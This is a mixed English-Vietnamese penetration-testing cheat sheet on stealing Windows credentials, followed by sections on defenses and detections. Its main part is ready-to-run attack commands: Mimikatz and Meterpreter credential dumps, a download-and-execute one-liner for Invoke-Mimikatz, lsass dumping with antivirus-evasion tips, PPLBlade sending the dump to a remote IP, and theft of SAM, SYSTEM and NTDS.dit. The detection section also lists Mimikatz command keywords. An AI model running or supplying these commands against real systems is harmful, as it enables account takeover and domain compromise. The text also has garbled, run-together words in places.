Stealing Windows Credentials

Credentials Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Find other things that Mimikatz can do in this page.

Invoke-Mimikatz

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Credentials with Meterpreter

Sử dụng Credentials Plugin thêm vào Meterpreter để trích xuất thông tin đăng nhập từ một máy Windows bị xâm nhập.

#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump

#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

Bypassing AV

Procdump + Mimikatz

Procdump từ SysInternals là một công cụ hợp pháp của Microsoft nên Defender không phát hiện ra nó. Có thể sử dụng công cụ này để dump lsass process, tải dumptrích xuất thông tin đăng nhập cục bộ từ dump.

Dump lsass

#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp

Extract credentials from the dump

//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

Quá trình này được thực hiện tự động với SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24

Note: Một số AV có thể phát hiện việc sử dụng procdump.exe để dump lsass.exeđộc hại , điều này là do chúng phát hiện chuỗi "procdump.exe" và "lsass.exe" . Vì vậy , sẽ bí mật hơn khi truyền PID của lsass.exe cho procdump thaytên lsass.exe.

Dumping lsass with comsvcs.dll

Một DLL có tên comsvcs.dll được tìm thấy trong C:\Windows\System32có trách nhiệm dumping process memory in the event of a crash. DLL này bao gồm một hàm có tên MiniDumpW, được thiết kế để được gọi bằng cách sử dụng rundll32.exe. Nó dựa vào MiniDumpWriteDump để dump bộ nhớ tiên trình lsass.exe (Local Security Authority Subsystem Service) để lấy thông tin xác thực. Sử dụng comsvcs.dll là khả thi cho dump lsass process, do đó loại bỏ nhu cầu tải tên và thực thi procdump.

Chi tiết tại: https://en.hackndo.com/remote-lsass-dump-passwords/.

Command:


rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS PID> <DUMP PATH> full

<LSASS PID>: process ID của LSASS

<DUMP PATH> Output path.

Note: Cần Local Administrator hoặc SYSTEM privileges.

Có thể tự động hóa quá trình này với lssasy.

Dumping lsass with Task Manager

  1. Right click on the Task Bar and click on Task Manager

  2. Click on More details

  3. Search for "Local Security Authority Process" process in the Processes tab

  4. Right click on "Local Security Authority Process" process and click on "Create dump file".

Dumping lsass with procdump

Procdump is a Microsoft signed binary which is a part of sysinternals suite.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Dumpin lsass with PPLBlade

PPLBlade là Protected Process Dumper Tool, hỗ trợ làm xáo trộn memory dump và truyền nó đến các máy trạm từ xa mà không cần thả nó vào đĩa.

Key functionalities:

  1. Bypassing PPL protection

  2. Làm xáo trộn memory dump files để tránh cơ chế phát hiện dựa trên chữ ký của Defender

  3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

CrackMapExec

Dump SAM hashes

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

Dump LSA secrets

cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

Dump the NTDS.dit from target DC

cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

Dump the NTDS.dit password history from target DC

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

Show the pwdLastSet attribute for each NTDS.dit account

#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Stealing SAM & SYSTEM

Tệp này thường located trong C:\windows\system32\config\SAMC:\windows\system32\config\SYSTEM. Nhưng không thể chỉ sao chép chúng theo cách thông thường vì chúng được bảo vệ.

From Registry

Dễ nhất là lấy bản sao từ registry:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

extract the hashes using:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

Với quyền Administrator, có thể sử dụng service này để copy

Using vssadmin

vssadmin binary is only available in Windows Server versions

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

Powershell: Ví dụ cách copy SAM file (từ "C:" đến C:\users\Public):

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Code from the book: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html

Invoke-NinjaCopy

PS script Invoke-NinjaCopy để tạo bản sao của SAM, SYSTEM và ntds.dit.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Credentials - NTDS.dit

NTDS.dit file được xem là trái tim của Active Directory, nắm giữ dữ liệu quan trọng vê user objects, groups, và memberships của họ. Đây là nơi lưu trữ password hashes for domain users. Tệp này là một Extensible Storage Engine (ESE) database nằm tại %SystemRoom%/NTDS/ntds.dit.

Trong database này, 3 bảng chính được duy trì:

  • Data Table: Lưu trữ thông tin chi tiết về các đối tượng như user và group.

  • Link Table: Theo dõi các mối quan hệ, như thành viên nhóm.

  • SD Table: Security descriptors cho từng đối tượng được lưu trữ tại đây, đảm bảo tính bảo mật và kiểm soát truy cập cho các đối tượng được lưu trữ.

Windows sử dụng Ntdsa.dll để tương tác với tập tin đó và nó được sử dụng bởi lsass.exe. Sau đó, một phần của NTDS.dit có thể nằm bên trong lsass memory (có thể tìm thấy dữ liệu được truy cập mới nhất do hiệu suất được cải thiện bằng sử dụng cache).

Decrypting the hashes inside NTDS.dit

Hàm băm mã hóa 3 lần:

  1. Decrypt Password Encryption Key (PEK) sử dụng BOOTKEYRC4.

  2. Decrypt hash sử dụng PEKRC4.

  3. Decrypt hash sử dụng DES.

PEK (Private Encryption Key) có giá trị giống nhau trên mọi Domain Controller, nhưng nó được mã hóa bên trong tệp NTDS.dit bằng BOOTKEY của tệp SYSTEM trên Domain Controller (BOOTKEY khác nhau giữa các Domain Controller). Đây là lý do tại sao để lấy thông tin đăng nhập từ tệp NTDS.dit, bạn cần có cả hai tệp NTDS.dit và SYSTEM (C:\Windows\System32\config\SYSTEM).

Copying NTDS.dit using Ntdsutil

Available since Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

Có thể sử dụng volume shadow copy trick để copy ntds.dit file. Cần một bản sao của SYSTEM file (Một lần nữa dump nó từ registry hoặc sử dụng volume shadow copy trick).

Extracting hashes from NTDS.dit

  • Sau khi có được các tập tin NTDS.ditSYSTEM, có thể sử dụng các công cụ như secretsdump.py để trích xuất các mã băm:

secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt
  • Cũng có thể trích xuất chúng tự động bằng cách sử dụng domain admin user hợp lệ:

secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
  • Đối với các file NTDS.dit lớn, nên giải nén bằng gosecretsdump.

  • Hoặc sử dụng metasploit module: post/windows/gather/credentials/domain_hashdump hoặc mimikatz lsadump::lsa /inject

Extracting domain objects from NTDS.dit to an SQLite database

NTDS objects có thể được trích xuất vào CSDL SQLite với ntdsdotsqlite.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

SYSTEM.hive nhưng cho phép giải mã secrets (NT & LM hashes, thông tin xác thực bổ sung như cleartext passwords, kerberos hoặc trust keys, NT & LM password histories). Cùng với các thông tin khác, dữ liệu sau được trích xuất : tài khoản người dùng và máy tính cùng với mã băm của chúng, UAC flags, timestamp cho lần đăng nhập cuối cùng và thay đổi mật khẩu, mô tả tài khoản, tên, UPN, SPN, groups và thành viên, organizational units tree và thành viên, trusted domains with trusts type, direction and attributes...

Lazagne

Download the binary from here.Có thể sử dụng tệp nhị phân này để trích xuất thông tin xác thực từ một số phần mêmf.

lazagne.exe all

Other tools for extracting credentials from SAM and LSASS

Windows credentials Editor (WCE)

This tool can be used to extract credentials from the memory. Download it from here

fgdump

Extract credentials from the SAM file

You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe

PwDump

Extract credentials from the SAM file

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump

PwDump7

Download it from: http://www.tarasco.org/security/pwdump_7 and just execute it and the passwords will be extracted.

Defenses

WDigest

WDigest protocol, được giới thiệu cùng với Windows XP, được thiết kế để xác thực qua HTTP Protocol và được bật mặc định trên Windows XP đến Windows 8.0 và Windows Server 2003 đến Windows Server 2012, sẽ lưu trữ mật khẩu dạng rõ LSASS (Local Security Authority Subsystem Service). Attacker có thể Mimikatz để trích xuất các thông tin xác thực này:

sekurlsa::wdigest

Bật tắt tính năng này sử dụng UseLogonCredentialNegotiate registry keys trong HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest: 1(enable), không có hoặc bằng 0 (disabled)

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential

LSA Protection

Từ Windows 8.1, Microsoft đã tăng cường bảo mật của LSA để chặn các lần đọc bộ nhớ trái phép hoặc chèn mã bởi các quy trình không đáng tin cậy. Cải tiến này cản trở hoạt động thông thường của các lệnh như mimikatz.exe sekurlsa:logonpasswords. Để bật tính năng, giá trị RunAsPPL trong HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA đặt thành 1:

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL

Bypass

Có thể bypass sự phòng vệ này bằng Mimikatz driver mimidrv.sys:

Credential Guard

Credential Guard, tính năng độc quyền của Windows 10 (Enterprise and Education editions), tăng cường tính bảo mật của thông tin xác thực bằng Virtual Secure Mode (VSM)Virtualization Based Security (VBS). Tính năng này tận dụng các tiện ích mở rộng ảo hóa CPU để cô lập các tiến trình chính trong không gian bộ nhớ được bảo vệ, tránh xa khỏi phạm vi của hệ điều hành chính. Sự cô lập này đảm bảo rằng ngay cả kernel cũng không thể truy cập bộ nhớ trong VSM, bảo vệ hiệu quả thông tin xác thực khỏi các cuộc tấn công như pass-the-hash. Local Security Authority (LSA) hoạt động trong môi trường an toàn như một trustlet, trong khi LSASS process trong main OS chỉ hoạt động như một bộ giao tiếp với LSA của VSM.

Mặc, Credential Guard không active và yêu cầu kích hoạt thủ công trong tổ chức. Điều này rất quan trọng để tăng cường bảo mật chống lại các công cụ như Mimikatz. Tuy nhiên, các lỗ hổng vẫn có thể bị khai thác thông qua việc tùy chỉnh Security Support Providers (SSP) để ghi lại thông tin xác thực dạng rõ trong các lần đăng nhập. (Custom SSP)

Để xác nhận tình trạng kích hoạt của Credential Guard , có thể kiểm tra registry key LsaCfgFlags trong HKLM\System\CurrentControlSet\Control\LSA:. "1" biểu thị kích hoạt với UEFI lock, "2" không có khóa, và "0" biểu thị không kích hoạt. Có thể bật qua Poweshell.

reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags

For a comprehensive understanding and instructions on enabling Credential Guard in Windows 10 and its automatic activation in compatible systems of Windows 11 Enterprise and Education (version 22H2), visit Microsoft's documentation.

RDP RestrictedAdmin Mode

Windows 8.1 và Windows Server 2012 R2 đã giới thiệu Restricted Admin mode for RDP: tăng cường bảo mật bằng cách giảm thiểu rủi ro liên quan đến các cuộc tấn công pass the hash.

Theo truyền thống, khi kết nối với máy tính từ xa qua RDP, thông tin đăng nhập của bạn được lưu trữ trên máy mục tiêu, gây ra rủi ro bảo mật đáng kể, đặc biệt khi sử dụng tài khoản có quyền cao. Với Restricted Admin mode, khi khởi tạo kết nối RDP bằng lệnh mstsc.exe /RestrictedAdmin, xác thực với máy tính từ xa được thực hiện mà không lưu trữ thông tin đăng nhập của bạn trên đó.

Note: Restricted Admin mode các nỗ lực truy cập tài nguyên mạng từ phiên RDP sẽ sử dụng machine's identity thay thế

Tính năng này đánh dấu bước tiến đáng kể trong việc bảo mật kết nối máy tính từ xa và bảo vệ thông tin nhạy cảm khỏi bị lộ trong trường hợp xảy ra vi phạm bảo mật

For more detailed information on visit this resource.

Cached Credentials

Windows bảo mật thông tin xác thực miền thông qua Local Security Authority (LSA), hỗ trợ quy trình đăng nhập với các giao thức bảo mật như KerberosNTLM. Một tính năng chính của Windows là khả năng cache last ten domain logins để đảm bảo người dùng vẫn có thể truy cập máy tính của họ ngay cả khi domain controller offline— một lợi ích cho người dùng máy tính xác tay thương xuyên ở xa mạng công ty.

Số lượng đăng nhập được lưu trong cache có thể điều chỉnh thông qua registry key hoặc group policy.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Quyền truy cập vào các thông tin xác thực được lưu trong bộ nhớ đệm này được kiểm soát chặt chẽ, chỉ có SYSTEM account mới có các quyền cần thiết để xem chúng. Administrators cần truy cập thông tin này phải thực hiện với quyền người dùng SYSTEM user privileges. Thông tin xác thực được lưu trữ tại: HKEY_LOCAL_MACHINE\SECURITY\Cache

Mimikatz có thể trích xuất các thông tin xác thực này: lsadump::cache.

For further details, the original source provides comprehensive information.

Protected Users

Trở thành thành viên trong Protected Users group đảm bảo mức độ bảo vệ cao hơn chống lại hành vi đánh cắp và sử dụng sai thông tin đăng nhập:

  • Credential Delegation (CredSSP): Ngay cả khi Group Policy enable Allow delegating default credentials, thông tin xác thực dạng rõ của Protected Users sẽ không bị cached.

  • Windows Digest: Từ Windows 8.1 và Windows Server 2012 R2, hệ thống sẽ không cache lưu trữ thông tin đăng nhập dạng rõ Protected Users, bất kể trạng thái của Windows Digest.

  • NTLM: Hệ thống sẽ không lưu trữ thông tin xác thực dạng rõ của Protected User hoặc NT one-way functions (NTOWF).

  • Kerberos: Với Protected Users, Kerberos authentication sẽ không tạo DES hoặc RC4 keys, cũng như không cache thông tin xác thực dạng rõ hoặc các khóa dài hạn ngoài lần thu thập Ticket-Granting Ticket (TGT) ban đầu.

  • Offline Sign-In: Protected Users sẽ không có trình xác minh được lưu trong cache được tạo khi đăng nhập hoặc mở khóa => offline sign-in không hỗ trợ cho những tài khoản này.

Các biện pháp bảo vệ này được kích hoạt ngay khi người dùng, là thành viên của Protected Users group, , đăng nhập vào thiết bị. Điều này đảm bảo rằng các biện pháp bảo mật quan trọng được áp dụng để bảo vệ chống lại nhiều phương pháp xâm phạm thông tin xác thực.

For more detailed information, consult the official documentation.

Table from the docs.

Các tài khoản và nhóm bảo mật sau được bảo vệ trong Active Directory Domain Service

Windows Server 2003 RTM

Windows Server 2003 SP1+

Windows Server 2012, Windows Server 2008 R2, Windows Server 2008

Windows Server 2016

Account Operators

Account Operators

Account Operators

Account Operators

Administrator

Administrator

Administrator

Administrator

Administrators

Administrators

Administrators

Administrators

Backup Operators

Backup Operators

Backup Operators

Backup Operators

Cert Publishers

Domain Admins

Domain Admins

Domain Admins

Domain Admins

Domain Controllers

Domain Controllers

Domain Controllers

Domain Controllers

Enterprise Admins

Enterprise Admins

Enterprise Admins

Enterprise Admins

Enterprise Key Admins

Key Admins

Krbtgt

Krbtgt

Krbtgt

Krbtgt

Print Operators

Print Operators

Print Operators

Print Operators

Read-only Domain Controllers

Read-only Domain Controllers

Replicator

Replicator

Replicator

Replicator

Schema Admins

Schema Admins

Schema Admins

Schema Admins

Server Operators

Server Operators

Server Operators

Server Operators

Detections

Phát hiện Custom SSP

  • Event ID 4657 - Audit creation/change of HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages

Phát hiện Mimikatz

  • Quét các thư mục tìm nạp với từ khóa mimikatz.

  • Event ID 4688 (process creation) và filter với từ khóa Mimikatz.

  • Tìm các đối số sau trong quy trình mở shell. EDR solution sẽ hook shell đã mở và ghi lại các lần thực thi. Quét EDR log với các từ khóa phổ biến của mimikatz.

    • CRYPTO::Certificates

    • KERBEROS::Golden

    • KERBEROS::List

    • KERBEROS::PTT

    • LSADUMP::DCSync

    • LSADUMP::LSA

    • LSADUMP::SAM

    • LSADUMP::Trust

    • MISC::AddSid MISC::MemSSP

    • MISC::Skeleton

    • PRIVILEGE::Debug

    • SEKURLSA::Ekeys

    • SEKURLSA::Kerberos

    • SEKURLSA::Krbtgt

    • SEKURLSA::LogonPasswords

    • SEKURLSA::Pth

    • SEKURLSA::Tickets

    • TOKEN::List

    • TOKEN::Elevate

    • TOKEN::Elevate /domainadmin

  • Event ID 4703(token rights adjusted) filter với từ khóa mimikatz :

Token Right Adjusted: Enabled Privileges: SeDebugPrivilege / Process Name: mimikatz.exe

  • Event ID 4656 (Object handle request) và filter với (("%lsass.exe" và Access_Mask=="0x143A") HOẶC (Process_Name :"%shell.exe" và Object_Name : "%lsass.exe" và Access_Mask =="0x1410").

  • Tim kiếm powershell log cho những Window calls sau:

    • GetDelegateForFunctionPointer

    • System.Reflection.AssemblyName

    • System.Reflection.Emit.AssemblyBuilderAccess

    • System.Management.Automation.WindowsErrorReporting

    • MiniDumpWriteDump TOKEN_IMPERSONATE

    • TOKEN_DUPLICATE

    • TOKEN_ADJUST_PRIVILEGES

    • TOKEN_PRIVILEGES

Phát hiện dump lsass

Visibility
Telemetry
Collection

Process monitoring

A rundll32.exe process will start.

EDR, Sysmon Event IDs 1 and 10, and Windows Event ID 4688 should collect relevant telemetry

Command monitoring

Command-line logging will capture the context of what is executed.

EDR, Sysmon Event ID 1, and Windows Event ID 4688 should collect relevant telemetry.

Module monitoring

comsvcs.dll will load in the rundll32.exe process.

EDR and Sysmon Event ID 7 should collect relevant telemetry.

File monitoring

rundll32.exe will write the lsass.exe process dump to C:\Windows\Temp\lsass.dmp.

EDR and Sysmon Event ID 11 should collect relevant telemetry.

References

Last updated